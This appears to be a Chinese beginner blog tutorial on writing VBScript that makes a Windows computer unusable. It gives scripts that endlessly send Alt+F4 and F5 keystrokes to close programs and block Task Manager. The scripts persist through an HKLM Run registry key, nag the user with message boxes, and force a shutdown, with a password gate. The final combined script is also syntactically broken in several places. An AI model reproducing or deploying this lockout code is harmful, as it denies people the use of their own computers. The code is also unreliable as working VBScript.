VBS之菜鸟程序（2）

今天我们主要要教大家让电脑变成“死的”，也就是不是高手，这个电脑你就用不了。涉及到：打开应用就关闭和开机自启。

打开应用就关闭

大家应该知道，打开应用就关闭快捷键是Alt+F4，所以让电脑能够不断按Alt+F4就好！
同样，我们要用到Shell：

Dim shut
Set shut = WScript.CreateObject("WScript.Shell")
Do
    shut.SendKeys "%{F4}"
Loop

但是这里的Shell不同的是，不用打开cmd.exe!那么我们怎么做呢？用指令SendKeys！%{F4}就是Alt+F4了！

无法打开任务管理器

无尽刷新就好了啊。无尽刷新就是F5无限循环。相信你也知道，只要把上面的%{F4}改成{F5}就好了。代码我就先省略了。

开机自启

关于开机自启这个我还是查了很多资料的。
我转载了一篇文章，在下面有写原地址。

Dim begin   
Set begin = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"   
Key_Name = "菜鸟程序"     
Key_data = "C:\Users\王乙堃\菜鸟程序.VBS"    
begin.RegWrite regpath&Key_Name,Key_data,Type_Name   

我来解释一下：

1. begin是变量
2. begin设为Shell
3. 开机启动需要注册表！这个是注册表地址
4. 数据类型
5. 开机启动程序的名字
6. 程序的地址
7. 使用这些数据完成转载！

注意：这些代码是转载的，戳我看原网页

密码

如果一个人用电脑不是玩，而是做办公，那，他就应该输入密码，这样就能解锁。我们做一个约定，设置密码为“bangong”，那我们的提示就是wanyouxi好了。

代码

讲个这么多知识，都应该掌握了吧。那么我就上代码了。

Dim begin   
Set begin = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"   
Key_Name = "菜鸟程序"     
Key_data = "C:\Users\王乙堃\菜鸟程序.VBS"    
begin.RegWrite regpath&Key_Name,Key_data,Type_Name   
MsgBox"不许玩游戏，不许玩游戏！你给我站住，不许玩游戏。现在还不关电脑？",16
Dim scanner=InputBox("输入密码","别玩游戏了，朋友","wanyouxi")
If scanner=bangong
Do
Dim shut
Set shut = WScript.CreateObject("WScript.Shell")
shut.SendKeys "%{F4}"
Dim again
Set again = WScript.CreateObject("WScript.Shell")
again.SendKeys "F5"
Dim close
Dim ok=InputBox("快，说 ""关机"" ", "快去读书，玩什么电脑？", "关机", 8000, 7000)
If ok="关机"
MsgBox "是你自己要关机的",16,"快去读书，玩什么电脑？"
set close=createobject("wscript.shell")
close.run"cmd.exe /c shutdown -s -t 10"
Else
MsgBox "叫你不好好说，关机了也活该",16,"快去读书，玩什么电脑？"
set close=createobject("wscript.shell")
close.run"cmd.exe /c shutdown -s -t 10"
Loop
End If
Else
Wscript.Quit 

这就是代码了。